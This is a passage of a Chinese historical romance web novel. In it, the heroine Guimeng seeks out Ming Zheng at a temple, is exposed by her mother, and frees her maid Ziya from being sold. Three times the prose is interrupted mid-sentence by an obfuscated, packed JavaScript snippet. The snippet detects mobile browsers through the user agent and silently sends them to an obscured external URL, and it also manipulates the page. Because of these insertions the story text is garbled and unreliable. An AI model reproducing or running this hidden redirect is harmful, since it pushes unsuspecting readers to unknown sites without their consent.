高坛之上一位身披褐色袈裟的和尚正在诵经,他低眉垂眼,肤色白净,看起来不过二旬有余的年纪。没想到,这容贤禅师不仅年轻,还生得斯文俊秀。 归梦向来是耐不住的性子,不过一盏茶的功夫她便坐不住了。于是借口如厕,悄悄从侧门溜了出来。 李嬷嬷粗嘎的声音冷不丁在背后响起:“梦娘若要方便,该回马车上去。这可不是往寺门的方向。” 归梦身子一僵。她转过身,看着李嬷嬷那张面无表情的脸,干笑道:“方才那里人多气浊,且那香烛味儿熏得脑仁疼。我不过想寻个清净地儿待一会儿罢了。” “这寺中人多得无处下脚,若要清净,还是回马车上最好。”李嬷嬷不卑不亢。 归梦心里一阵叫苦。这老太婆摆明了是跟定她了。 她只好调转脚步出了寺,信步乱走。也不知紫芽那边如何了,可找到明铮了。 今日来听讲经的人,上至皇宫贵族,下至平民百姓。虔诚的信徒密密麻麻跪了一地,从经坛到前院,再到寺门口,恐怕有近千人。要从这群人里找到明铮在哪,属实不易。 归梦眼见着李嬷嬷跟在自己身侧,亦步亦趋,心中不胜其烦。这日子是过一天少一天,也许今日就是在明铮去荆州前最后一次见他的机会。 说不得,只能兵行险招了。她低头瞥见前面地上有一小滩积雪冻成的未融化的薄冰,当下把心一横,故意经过踩了上去。 她穿着的小羊羔皮绣花暖靴不甚防滑,当即滑了个趔趄。李嬷嬷在旁,慌忙伸手来扶。归梦本想甩开她,独自摔倒,不料用力太猛,李嬷嬷又抓得太紧,当下两人一齐摔在了地上。 “哎哟……”归梦与李嬷嬷齐声痛呼。 着地之时,归梦用手肘撑了一下,除了手肘被地面硌得有点疼,并未受什么伤。是以她那声痛呼倒有七分是假。 她本意是想假装受伤走不动,好支开李嬷嬷去唤人的。 此时却见李嬷嬷表情痛苦地倒在地上,竟起不来身。归梦吃了一惊,急忙将李嬷嬷扶了起来。 李嬷嬷艰难地扶着腰,吃痛道:“婢子是闪着腰了,老毛病,不妨事……” 归梦不由自责起来,若不是她想出这个坏主意,也不至于累得这老人家如此。平素她虽嫌李嬷嬷严肃刻板,但也知道李嬷嬷只是奉母亲之命行事,甚是忠心。 恰好此时紫芽出了寺门寻了过来。她连忙道:“你扶着李嬷嬷慢慢走,马车上有日常跌打损伤的药,给她敷一些在腰上。” 紫芽应了一声,又附耳过来道:“明公子朝寺后面那片树林去了。” 瓦官寺本坐落在山腰,寺院后方是有一片密林。自从上次田猎在林中遇到花豹之后,归梦便对这样的林子有了些恐惧,生怕再遇上什么毒蛇猛兽,但是想到明铮在里头,也只能硬着头皮闯了。 好在此时旭日当空,林中也并不阴森冷清。 归梦甫一入林,便远远看见了明铮颀长挺拔的身影。只是,他身侧,还有一位穿着紫色裙裳的少女。 那少女衣饰华贵,气质不俗,半边娇容看着极是眼熟。 云蔷!她怎会和明铮在一处? 他二人交谈着什么。只见云蔷低下头,似是在抽泣,抽得肩膀一抖一抖的,娇小玲珑的身子像是一朵在风中瑟瑟颤抖的落花,眼看就要攀上明铮的胸膛。 “住手!”归梦一股血涌上了脑门,忍不住大喊出声。此情此景让她忍无可忍,她甚至都措辞不当了,也不管在叫谁住手,反正先出声打断再说。 云蔷见归梦出现,颇为愕然。她伸手拭去面庞上的泪痕,轻哼一声,转过头去。 归梦三步并作两步走近,逼视着明铮,质问道:“光天化日的,你们在做什么?” 明铮尚未回答,云蔷已抢着道:“做什么?你方才没看清楚吗?” 云蔷如此直白,倒叫归梦不知道说什么好了。她一颗心尽数悬在明铮身上,好不容易才脱身寻了空想方设法地来见他。岂料他居然在这密林之中与云蔷相会。 方才云蔷的脸都快贴在他身上了。若说他与云蔷全无私弊,叫她如何相信? 她气得满脸通红,话都说不利索了,结结巴巴道:“你……你们……好啊。你们好不要脸!” 云蔷见她这个样子,越发快意,笑吟吟地朝明铮贴近一步,扬着下巴对归梦道:“难道,只许你一人仰慕明公子不成?若论不要脸——岑归梦,满建康城的女娘里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722105|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数你最不要脸!明公子明明对你全无意思,你还痴缠着不放!全京师都传遍那首诗了,你怎地还不收敛一些?” 云蔷的话如当头一棒,又似一盆冰冷彻骨的冷水当头浇下来,直冷得她浑身发抖。 她不自觉地退后几步,看看满脸嘲弄的云蔷,又看看不发一语的明铮……转身跑走了。 泪水模糊了双眼,她已不知在朝哪里跑,只知道不停地向前跑,跑到没人看到的地方放声大哭。 云蔷说她不要脸。是啊,女儿家的矜持、羞耻之心她都不顾了。谁让她跑到明铮面前自取其辱,还被云蔷羞辱?谁让她不安坐家中,等着父母给自己安排一个好夫婿,却偏偏要尝一尝情爱的苦? 她不知跑了多久,忽地双腿一软坐倒,再也没有力气了。 娇靥上的泪珠被冷风吹干,被泪水冲刷过的皮肤发紧发疼。两条腿也是酸麻不已。最糟糕的是,她的鞋袜也被石子磨破了,有碎荆棘刺入了柔嫩的脚底,疼痛难当。 她伤神失意之下,竟然跑进了密林深处。 环顾四周,完全是陌生的环境。树木林立,灌木杂生。 离她一箭之地,是一个破败的草寮。 归梦已是累极了,就算是个破草寮,只要能让她短暂休憩一下也是好的。 她拖着受伤的脚慢慢朝草寮挪去。方靠近一些,就听到里头隐隐传来人声。 她越接近草寮,那人声听得越是清晰。草寮内像是有男有女。 俩人时而低叹时而高呼,断断续续发出的声音既像是痛苦呻吟又像是欢言笑语。 归梦在门外听得奇怪,正想从那破破烂烂的门缝朝里看个究竟,忽地斜刺里一只手伸来捂住了她的嘴,将她半拖半抱到一旁。 归梦吓得睁大眼睛,浑身僵硬,想出声呼救可那只手却牢牢捂住了她的口唇,令她发不出声。 熟悉的沉水香混合着好闻的男子气息席卷而来。她惊讶地回头,正好撞上明铮那双乌黑幽沉的眼眸。 “嘘——是野合,别出声。”明铮在她耳边低声道。 她这才发觉自己就在明铮怀里。他从背后环住了她,手还捂在她的口唇之上。 她的双颊有些发烧。这林子深处极是静谧,虽然已离那草寮有些距离,仍能隐隐听到草寮内传来的男女欢好之声。 原来“野合”是这个意思。饶是她再愚钝,也猜到草寮内是什么情形。还好,她没有冒失地闯进去。 归梦一阵脸红。 明铮已缓缓松开了她:“走吧。” 走吧?归梦回过神,忽然想起,他为何会出现在这里,难道他一直跟着她? 纵然是这样,可想到方才云蔷与他亲密的样子,她就忍不住妒火中烧。 她偏过头不看他,嘴硬道:“谁要同你一起走?” 明铮抬头望了望渐渐暗下来的天色。 日头转瞬即逝,天竟已阴了下来。 “如此也好,那我先走了。”他说着掸了掸衣袍上的尘灰,转身便走。 50. 恼疏狂(二) 归梦见他走得干脆,竟真的撇下她一人,看来当真是毫不在意她。她待要跟上,又拉不下脸,当下咬了咬牙,大声道:“好,你走……你走吧!别来管我,我死了也不用你管!” 明铮停下脚步,忽地回头,笑道:“你瞧你身后草丛里是什么?小心——” 归梦信以为真,“啊”地尖叫一声,不敢回头,拔脚便跑。她脚上有伤,才跑了两步便支撑不住,脚下又绊到了树枝,眼看又要摔倒。 明铮眼疾手快扶住了她。她跌入他温热的怀中,倚靠着他,这才醒觉他方才是在吓唬她。 “叫你吓唬我、叫你欺负我!你们都欺负我……”她忍不住伸出粉拳狠狠锤了明铮的胸膛两下,埋怨道:“我的脚好痛,手也痛,全身都痛。都赖你,都赖你……我恨死你了!恨死你了!你为什么这么对我?你凭什么这么对我!我思慕你有错吗?你为什么对我这么冷淡?我已经卑微到极点了。我成了满建康城的笑话,别人都笑我不要脸。人人都在笑话我!你开心了,你满意了?” 她初时只是气明铮吓唬她,说着说着便真情流露,把心里的委屈、情感,一股脑儿地都发泄了出来,边说边哭,直哭得梨花带雨,玉箸纵横。 也不知哭了多久,竟倚着明铮的胸口沉沉睡去了。 明铮低头,怀里少女雪白的娇靥上兀自挂着一点晶莹的泪珠,眉峰似蹙非蹙,似乎睡梦中仍有着深深的忧虑。他抬手想轻轻为她拭去那点泪痕,终是缓缓放下了。 待归梦醒来时,猛然发觉脚上的伤口已不怎么痛了,扎进脚掌的荆棘碎刺被细心取出,伤口也敷上了草药。她的鞋袜如原来一样穿得整整齐齐。 明铮闭目盘膝坐在她身侧,见她醒来,微笑道:“若再不出这林子,天就要黑了,到时恐怕我也找不着出去的路了。” 说完,他起身蹲下:“我背你。” 归梦怔了怔,这一天好像如做梦一般,发生的事简直是不可思议。谁能想到,昨日她还在为了明铮辗转反侧,夜不能寐。此刻竟然就要被明铮负在背上。如果受一点小伤就能有这种好事,那她多受几次伤也是乐意至极的。 她尚未及笄,过去十数年中,只有幼时,父亲曾将她负在背上玩耍。 她习过女训,也知晓男女大防。可是她无法拒绝被明铮背着,这实在是巨大的吸引力。 归梦趴伏在明铮的背上,入目便是他修长玉白的脖颈,漆黑如墨的长发,还有轮廓分明的下颌线,以及好看的耳朵。 她生平第一次感受到男色的魅力如此强大。不可否认,她喜欢明铮的皮相。只是她没有想到,已经喜欢到了这种程度。 凭心而论,从她出生开始她就从没注意过不同的人的耳朵有什么区别。 可是明铮的耳朵,在她眼中也是好看的。 她心里涌起无限柔情,忍不住揽紧了明铮的脖颈,将嫣红的面颊轻轻贴了上去,甚至想用樱唇去触一触明铮的耳垂。 然而终究还是有些害羞。 明铮的身量并不魁梧,却很精瘦有力,他两只手臂牢牢托在归梦的小腿弯处,一步步走得极是稳当。 归梦紧贴着明铮温暖结实的背,视线一刻也不愿离开他,好像怎么看他也看不够,只盼着在他背上的甜蜜时光永远不要结束。 倘若这真的是梦,就让她做一辈子这种甜梦吧。 她正兀自陶醉着,忽听见前方有交谈的人声传来,原来是一对年轻男女在林中迷失了方向。 那女娘见有人走近,慌忙躲到男子身后。 男子一副书生模样,见来者也是一对妙龄男女,乃是一名俊美男子背上负着一个清秀少女,便大着胆子,拱手道:“我二人误入这林中,不知这位兄台可识得路,能否带我们出去?” 明铮道:“随我来吧。”当下在前引路。 归梦经过这二人身旁,好奇地打量了他们一眼。那女娘发髻松散,鬓边的钗环松松坠着,一双星眸明亮,也正偷偷望向明铮。 归梦轻哼一声,揽着明铮的脖子,凑近他耳边,低语道:“你说,方才……是不是就是他们?” 明铮不置可否,答非所问:“那草寮是寺中的僧人所建,让上山砍柴的人临时避雨休憩的。” 归梦眨了眨眼睛,抿嘴低笑。“也亏他们能找到这个地方。只是那破草寮,和……和幕天席地有什么区别……”她说到后半句,声音渐次低了下去。 天啊,她究竟在说什么……同明铮讨论这些,也太不知羞了。 说完,她脑海里又不自禁地回响起那草寮中那腻人的声音,双颊又火烧火燎起来。 她忍不住又回头看了眼那对男女,只见他们二人手掌紧扣在一起,并肩而行,与归梦他们拉开了约莫一丈远的距离,静静跟在后方。看起来就是一对情深伉俪。 归梦复又叹道:“你说,他们既然彼此有情,为何不成婚,却要偷偷摸摸地在这里相会?” 明铮唇角勾了勾:“我可猜不到。” “我猜,他们定然是家境悬殊。你看,那女娘的衣料首饰皆是上等,价值不菲。可那书生却是一袭布袍,身无长物。一定是那女娘的父母不同意他们往来,甚至还要把她许给旁人。所以,他们只能私下往来……”归梦絮絮说着,分析得头头是道。 明铮失笑:“你这般明察秋毫,不去开公堂断案可惜了。” 归梦嗔道:“我若是为官,定要想办法成全这些苦命的有情人。” 她此刻被明铮负在背上,只觉得心里被塞得满满当当的,心满意足,再无任何烦恼了。却不曾想,她自己也是天下芸芸苦恋之人中的一员呢。何况,她身上还有一桩未了的婚事。 说话间,已然出了树林,再往前便是寺院的后门了。 那对男女再次朝他俩道了谢,匆匆离去了。 暮色苍茫,这一日的法会早已散了。明铮在寺院后门将归梦放了下来:“快回家去吧。” 归梦被他背负了一路,满心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726597|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜蜜欢喜,哪里舍得就此与明铮分手?她咬了咬嘴唇,轻声问道:“你……何日启程?” “有事吗?” “有,能不能……”她犹豫道:“能不能留下来不去?荆州那么远……” “皇命难违。” “那我去跟太子哥哥说!”她急急道。 明铮忽叹了口气:“你明知是我自行请命去的。” “是是是,我知道我知道。我就是不明白,你为什么非去不可。文能安邦武能定国,你留在建康又不是不能为民造福了!”归梦忽而暴躁起来。 天知道她有多舍不得他走!她心中隐约有不祥的预感,若是就此放他离开,恐怕便如天人永隔一般,再难有相见之期,更遑论让二人感情有所进展了。 明铮叹了口气,怜惜地看着她:“你何苦如此?” 归梦气得猛跺了跺脚:“你问我何苦如此?!你说呢,你明明知道……”她一时忘了脚底有伤,疼得蹙起眉来。 “好,你要去便去,左右不论多久,我都等你便是!”她咬牙道。 “你不要等我。”明铮淡淡说道。 “你……”归梦不可置信地望着他,她惊讶于他的冷漠。 好好好,这半日果然只是一场梦。从那密林中出来,他便又戴上了假面,冷冷得拒她于千里之外。 方才在山林里,她以为她已经找回他们之间的默契,找回当初她女扮男装时与他携手同游时的那种感觉。她甚至感受到了他对她的一些在意。可顷刻间,又是天翻地覆。 她脑中瞬息万千,忽地又想起今日看到他与云蔷亲密的样子,云蔷的手差一点就要攀上他的胸膛……嫉妒就像蚂蚁啃咬她的心,让她喘不过气来。 她深吸一口气:“我问你,今日你与云蔷,究竟是怎么回事?为何你们会在林中相会?” “这是我的私事。”他语声平淡,不带一丝温度。 这意思是她没有资格过问是吗? 归梦胸口起伏不定:“好,我只问你,你可是喜欢云蔷?” 明铮苦笑道:“这从何说起?” “你既不喜欢她,又为何不拒绝她靠近你?” “明铮卑微,岂敢驳了公主的面子?” 归梦不满他的回答。 她上前一步,目光灼灼,不容他回避。“难道你与我……也是因为不敢驳了我的面子?” 明铮嘴唇轻启,欲要说些什么,终是没有说,只化作唇边一抹淡而无味的笑。 归梦望着他漆黑的眼眸,犹如两潭幽泉,澄澈深邃,不可见底,永远藏着她读不懂触不及的意味。 薄暮晖光中,他一身白衣翩然,依然是姿容绝艳,周身好似围绕着淡淡的清贵光华,遗世而独立。 她绝望而叹息。 “回答我……请你回答我……” “吱呀——”寺院的后门忽地被人推开,谢氏森冷的语声自门后响起:“好个小子,倒是会扮猪吃老虎……” 51. 潜别离 门开了,归梦看见母亲谢氏及桃枝、桂叶两名贴身丫鬟以及家中两个仆从,两名仆从中间是面色发白的紫芽。 归梦愕然,垂首唤道:“母亲。” 谢氏莲步轻移,越过女儿,走到明铮近前,落日的一点余晖不足以让她看清这个半背对着她的少年的容颜。 “你的大名我早已听闻,只是百闻不如一见。你装模作样,竟引得世家贵女为你折腰……抬起头来,我倒要看看你生得怎样一副面孔!” 明铮礼貌地退后一步,不卑不亢地躬身行礼:“明铮见过夫人。” 他双手行完礼便即放下,灰沉暮色中,一点淡淡晖光映照在他年轻的脸上,神采英拔,风姿绝世。 谢氏等一众丫鬟仆从是第一次见到明铮,看清他容貌身段的瞬间,均不由得呼吸一窒。 谢氏到底出身大族,生平所见的美男子也不在少数,她的兄弟、夫君、子侄一辈也均是相貌堂堂。 因而她不过片刻的恍惚失神便很快醒转,略整仪态:“确生得一副好皮相。不过,你自以为风流倜傥便可诱哄女子吗?” 归梦不愿母亲羞辱明铮,急急出声:“母亲,他没有……” “住口!桃枝、桂叶,扶女公子去马车上。”谢氏叱声打断。 归梦有生以来从未见母亲如此疾言厉色过,她更分明从母亲眼中见到了失望。便如她从前失望归梦只是个女娃,失望她不曾为岑家诞下男丁一般…… 她想到此处,挣脱了桃枝桂叶的手,躬身低声道:“一切都是女儿的错,女儿这就回去。请母亲不要牵扯旁人。” 谢氏深深看了明铮一眼,语气冷然:“士庶之别有如云泥,你莫以为有太子给你撑腰……总之,绝了你的妄想。” 这话虽是对着明铮说的,却重重敲在了归梦心上。 归梦被丫鬟搀扶挟持着离去,忍不住回望山门。那一抹白衣仍伫足在原地,在冬日苍茫的寒意中看起来格外孤清。她数次回望,终于那身影越来越小,越渐模糊,终于被山林掩住,不可望见了。 暴露无遗了,而今一切都已大白。从前那首谤诗、那些流言蜚语,还可以说是三人成虎,不尽不实。东安侯夫妇也并未全信。可今日,谢氏清清楚楚地听见了女儿对那个寒门子弟吐诉衷肠,再无任何疑问了。 宜泽苑内灯火通明,岑熙背着身,负手立在桌案前。 谢氏坐在一旁,静静不发一语。 归梦默默跪坐在地上,手指不自觉地绞着衣角的绣花样,半晌才出声道:“横竖都是女儿的错。但无论如何,女儿不能嫁给祖遐。” 谢氏不闻则已,一听之下气得柳眉倒竖:“你到底是被灌了什么迷汤?现下还不思悔悟……” 岑熙慢慢转过身来:“不嫁给祖遐,那你想嫁给谁?明铮?” 归梦见父亲语态平和,不见怒火,于是大着胆子道:“是,明铮乃女儿心之所爱,请父亲母亲成全。” “荒唐!”岑熙重重一掌拍在桌案上,把谢氏与归梦吓了一跳。 他面色铁青,大声问道:“你可知那明铮是何出身?” 归梦咬咬嘴唇,美目中流露出一丝不服气:“女儿知道,他出身寒门,乃是庶族。可那又如何?论人品相貌才学,满建康城的男儿无一人比得上他!何况,他如今官居太子洗马……” “那你可知!”岑熙打断她道:“明铮虽是庶族,可他家产颇丰。他祖父只是个地方小官,他的祖母却是商贾之女。明家原先在高平有不少田产、铺面。不然你当他家如何能与广陵宋家结亲?” 归梦听得一颗心砰砰直跳,原来父亲早已调查过明铮的出身背景了。她眼中忽地燃起光芒,膝行上前几步,仰着头恳切道:“既如此,那为何不……”她话未完全说出口,已被父亲慑人的目光截住了下半句。 半晌,岑熙的目光渐转柔和。他长叹一声:“梦儿,你当明白。士庶不通婚,并非全因高门大族趋炎附势。从前南郡郡守顾川贪图寒门庶族满氏的高昂聘礼,将女儿嫁予满家,便遭了朝中大臣的弹劾,联名上书说顾川‘灭祖辱亲’,请求陛下将其‘剔除士族之列,罢官免职,监禁终身’。陛下因此震怒,虽未照办,却也严惩了顾川。” 顿了顿,又道:“便抛开这些不谈。为父已亲口问过明铮,他说他此生决意不再娶,不愿耽误任何女子。齐大非偶,他自问与你并不匹配。” 归梦呆呆听着,不觉双腿一软坐倒在地。 明铮,竟如此无情……她脑中电光火石般闪过从前与他相处,以及白日间在山林中他背着她的画面……假的,都是假的吗? 明明那样真实,他温热的后背与怀抱,那种真实的温度与触感似乎还停留在她的指尖。 她忽地摇摇头:“不!我不信……”她站起身,踉跄着就要往外走。 谢氏急得一把拽回她,厉声道:“你还嫌不够丢人?还要再问几次?在那寺门后我已听得清清楚楚!你到底还闹些什么?为了这么个人,你要把你父亲也弄得削爵监禁的地步吗?!” 谢氏的话如当头棒喝,将归梦惊醒。 不错!她的任意妄为若是连累了父母与家族遭殃,便是万死莫赎。 归梦被拘禁在房中,紫芽与丹娥也不在身旁,唯有桃枝定时送三餐过来。 归梦仿佛泥胎木偶一般枯坐着。她多傻,傻到以为她能冲破成规,傻到以为她能为自己的爱情自主。最傻的是,她以为她喜欢的人,也终会喜欢她。 她忘不了——那一日,明铮什么话也不曾说,只是任由她被母亲带走。原来从头到尾,都是她一厢情愿,都只有她一个人在挣扎在斗争。 所为何来呢? 如今看来,或许那一日便是她与他的最后一次见面了吧。 想到这,她依旧忍不住地心痛,痛得她泪水不断地涌出眼眶,怎么也止不住。 脚步声动,珠帘一晃,李嬷嬷端着饭菜走进来,轻轻搁在桌上。 她见归梦木然坐着流泪,不禁叹道:“姑娘,这是何苦呢?为了一个没把你放在心上的小门小户家的小子,作践自己的身子。” 归梦拭掉泪水,见李嬷嬷一只手支着腰,问道:“李嬷嬷,你的腰好些了吗?” 李嬷嬷不意归梦突然问起这个,面上的皱纹微微一展:“劳姑娘关心,好多了。” 归梦点了点头,忍不住又道:“紫芽丹娥她们,还好吗?” 李嬷嬷叹了口气:“丹娥被罚去厨房做活了。至于紫芽那丫头……夫人说,留不得了。” 归梦心中一凛,面上却忍着不动声色,努力平声道:“母亲……预备怎样处置她?” 李嬷嬷犹豫片刻,缓缓道:“夫人说紫芽这丫头心大了,今日敢为姑娘望风私会,他日不定做出什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742779|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么伤风败德之事。从前不是没有警告过她。这回是真留不得了。现下锁在柴房,这两日便要发卖出去。” 归梦笼在袖中的手不觉握紧,尖尖的指甲戳得掌心有几欲裂开的疼。“知道了。” 喜欢谁追求谁,本是她一个人的事。丢人也好,受伤也罢,都该她自行承受。无论如何不该让他人为她受过。否则她此生都难心安。 是夜,躺在床上的归梦忽地睁开双眼。已是三更天了,整个侯府上下静悄悄的。 归梦取出塞在鼻窍中的两团绢布,接着轻手轻脚地起身,随意穿了件男式衣袍。 暖阁的桌案上,博山炉里的安息香已然焚尽。李嬷嬷和陪夜的桃枝早已睡熟了。 归梦从衣柜中拿出早已准备好的包袱,摸黑出了嘉宁阁。 她蹑手蹑脚地摸到了柴房附近。 夜寒如霜,廊下值夜看守的家丁裹着被子睡得鼾声如雷。归梦并不费劲便拿到了钥匙,小心翼翼地开了柴房门上的挂锁。 柴房一角的稻草堆上,紫芽被绑缚着手脚,瑟缩成一团。 月光透过柴房的窗洒下一点,紫芽蓬头垢面,原本光洁姣好的面容也憔悴苍白了。 归梦一阵心酸。往日,紫芽是她最贴身得脸的丫鬟,吃穿用度比普通百姓家的女儿还要好。此刻却因为她,成了这副模样。 她伸手去解紫芽手脚上捆绑的麻绳。 紫芽被惊醒,见到面前的人影吓得一哆嗦,险些叫出声。幸而归梦及时捂住她的嘴:“嘘,是我。” “母亲要发卖了你。没时间多说了,快跟我走。” 二人小心避开侯府值夜的家仆,到了后门。 她们躲在树丛后,只见后门门闩上赫然多了一道锁。一旁更有家丁倚着打盹。 紫芽见状摇摇头:“不成,自半月前,大门和后门便加了道锁。钥匙在鲁管家手中。每日清晨才会开启……梦娘,出不去的……” 归梦本也有些气馁,可低头瞥见紫芽手腕上清晰的勒痕。她怎能在此时打退堂鼓?于是伸手握了握紫芽冻得冰冷的手,坚定道:“我今日非放你走不可。” 她四下环顾,拉着紫芽到后门的矮墙边:“你踩着我的肩膀爬墙过去。” 紫芽连连摇头:“这如何使得?” 归梦急道:“我说使得就使得!快些,被人发现就走不脱了。”说着便贴紧墙面半蹲下身子扎稳马步。 紫芽无法,只得提起裙摆踩上归梦肩头。归梦咬牙承重,待紫芽踩稳后慢慢站起身将她托高。 归梦累得出了一身汗,忽地有纸皮灯笼的光亮照了过来,是巡夜的家丁恰巧经过。 “什么人?” 二人闻声惊得心神欲碎,归梦腿下一软,紫芽立时攀不稳摔了下来,二人倒成一团。 这一声惊呼,把后门打盹的守卫,和附近巡夜的家丁全都召了过来,将二人围住。一时间,数个灯笼凑到一齐,照得亮如白昼。 家丁提着灯凑近仔细一瞧:“哟,这不是嘉宁阁的紫芽姑娘吗?”扭头又去瞧归梦:“这位是……”那家丁看清归梦的容貌,立时垂首躬身:“女、女公子,您怎在此?” 紫芽又是惶恐又是着急:“梦娘,你快些回房,莫要管我了!” 归梦长吸一口气,定定神,拉着她慢慢站起,道:“我说过今夜要救你,便一定要救。” 52. 人暗换 不过片刻,鲁管家也已闻讯而来。他显是睡梦中被人叫醒,中衣外披了件棉袄便赶来了。 他一见到归梦与紫芽便猜到几分,躬身道:“这夜深露重的,女公子身子单薄,还是快请回嘉宁阁去。有什么事,白日再说可好?” 归梦耐着性子软言相商:“鲁管家,麻烦你将后门开了,放紫芽离去,一切后果由我承担。” “唉……”鲁管家愁眉苦脸叹道:“女公子,不是小人不帮你。紫芽的事,主母已发了话,若怪罪下来,小人担不起……”说着便使了个眼色,两个家丁便欲上前拉走紫芽。 “都给我退下!”归梦伸手将紫芽护在身后,尖声喝道。 她唯恐下人再用强把紫芽强行锁回柴房,伸手拔下头上的银簪,先是将尖头对着身边的家丁吓得他们连退几步,随即又倒转簪尖对准了自己咽喉,叫道:“鲁管家,今夜我一定要放紫芽离去,你到底开不开门,若是不开,我……”她作势欲刺,吓得鲁管家与一众家丁手足无措乱作一团。 匆促的脚步声渐近。一队侍女与仆从提着羊角风灯来到,左右散开,岑熙扶着谢氏走了出来,家丁仆从立时跪倒一地。 “梦儿,你闹够了没有?”岑熙睡眼惺忪面有倦色,斥道:“把簪子放下!有何事非如此不可?真是越来越肆意妄为了!” 紫芽也是惊惧交加,双膝跪地,悄悄伸手拽了拽归梦。 归梦见父母亲俱已来到,无法可施,只得缓缓垂下握着银簪的手,低头垂泪道:“女儿求父亲母亲饶了紫芽,不要卖她!” “不以规矩不成方圆。这丫头吃里扒外,没有乱棍打死已是宽宥了。若不处置,日后还如何掌家?” 归梦急急道:“她没有吃里扒外。她只是听我的吩咐行事。母亲既容不下她,不如便让她走吧!” “走?她的身契尚在此处,一个逃奴能去哪里?”谢氏叹道。 归梦一怔,忍不住转头看了看紫芽。 紫芽双眼含泪,凄凉一笑:“主母说得是。梦娘,莫再为了奴婢顶撞主君主母了……”忽地声音哽住,膝行着后退半步,朝归梦重重叩首下去。 归梦看见了紫芽眼中的伤心、软弱、绝望……种种情绪交织在一处,不觉怔住了,泪水滚滚而下。 紫芽,伴她长大的紫芽、照顾她衣食起居的紫芽、为她鞍前马后、为她保守秘密的紫芽……她绝不是个丫鬟,而是她的姊妹! 她若此时撒手不管,紫芽还有什么出路? 逃奴……逃奴又如何?总比做个认命的奴婢被人卖来卖去的强! 岑熙望着女儿,眼中有痛惜与失望:“好了!你母亲已然和你分说清楚了。又哭又闹的哪像个大家闺秀?这般任性,终是我纵坏了你。来人,带女公子回房休息。” “我会回去!”归梦忽地大声道:“只求你们放了紫芽。求父亲母亲开恩,放了她。求求你们……”她昂着头,美目中透着一丝决绝,继而双膝跪倒在冷硬的青石板地上,俯首朝岑熙与谢氏磕头,一边磕头一边不住喊着:“求求你们,放了她放了她放了她……” 岑熙与谢氏就归梦这么一个独生女儿,一贯视作掌上明珠。平日里莫说叩首,便是跪拜也是极少的。虽说近日女儿言行失当,对其颇多责备,但此时眼见她跪地叩首,状如疯魔一样向他们恳求,又怎能不心软? 不过才磕了几下,归梦白嫩光洁的额头上便已沾上尘泥,还磨破了一层油皮。 谢氏不忍地挥挥手:“好了好了……鲁管家,去把门打开。” 归梦再度俯首下去:“梦儿谢父亲母亲开恩。”她猝然起身,险些站不稳,多亏紫芽在旁手快扶住。 紫芽已哭得泪人一般,口中喃喃道:“梦娘……奴婢怎值得你如此?” “该打,我从不让你们自称‘奴婢’的,怎么又说错话了。何况,以后你再也不是谁的奴婢了……”归梦努力浮起笑,伸手替她理了理鬓发,将手上的银簪顺手插戴在她头上。 谢氏的声音自刺骨的夜风中飘来:“紫芽,日后你便不是东安侯府的人了。好自为之。快走吧。” 归梦从地上捡起包袱,递给紫芽,凑近她耳旁道:“去找师傅。” 自从那夜放走了紫芽,归梦被更加严密地看顾了起来。 谢氏几乎每日都要来嘉宁阁看她一次。 归梦久久不能忘却父亲母亲那一夜的眼神,虽然他们待她与从前并无什么分别,可她却认定,她已失了父母的欢心。 原来她以为父母疼爱她,便会包容她的一切,尊重她的思想。实则是,父母对她的爱,只在分寸之内,若她失了分寸,那疼爱便一点点崩坏。 归梦形同被软禁。 紫芽走了,她再无一人可倾吐心事。谢氏又拨了两名丫鬟到她房中,她也不理不睬。 转眼已是岁末。不知明铮是否已启程去荆州了?不知紫芽可已找到安身之所? 她茶饭不思,迅速地消瘦了下去,时常摆弄着几根五木,回忆她女扮男装与明铮交往时的快乐时光。 大雪已落了一日了,寒意愈发浓。 归梦趴在案前,拨着几根干枯泛黄的蓍草。按卜筮的结果来看,明铮还在建康,紫芽也已安顿下来。 起身走到廊下,看漫天的鹅毛大雪簌簌飘落。 满园的草木皆裹上了银装。 她忽地想起明铮书房窗前的那两株明开夜合花,雪压枝头,树可相依,人却茕茕孑立…… 李嬷嬷走来,手脚轻快地给归梦披上一件玫瑰紫缎狐皮大氅。 归梦微微侧头瞅了一眼肩头的大氅,艳而不娇,甚是靡丽。 “这是昨个主母才命人送来的。说是连日大雪,怕梦娘身子单薄。这种狐皮大氅最是暖和不过了。” 归梦淡淡道:“我不惯着这么艳丽的颜色,去换那件白色翠纹织锦的羽缎斗篷吧。” 李嬷嬷干笑一声:“主母说了,明年梦娘便要及笄成婚了,打扮得鲜艳些好。快到岁除了,这两日还要给您裁制新衣……”正絮絮说着,归梦却已用力扯下身上的狐皮大氅,丢到她手中。 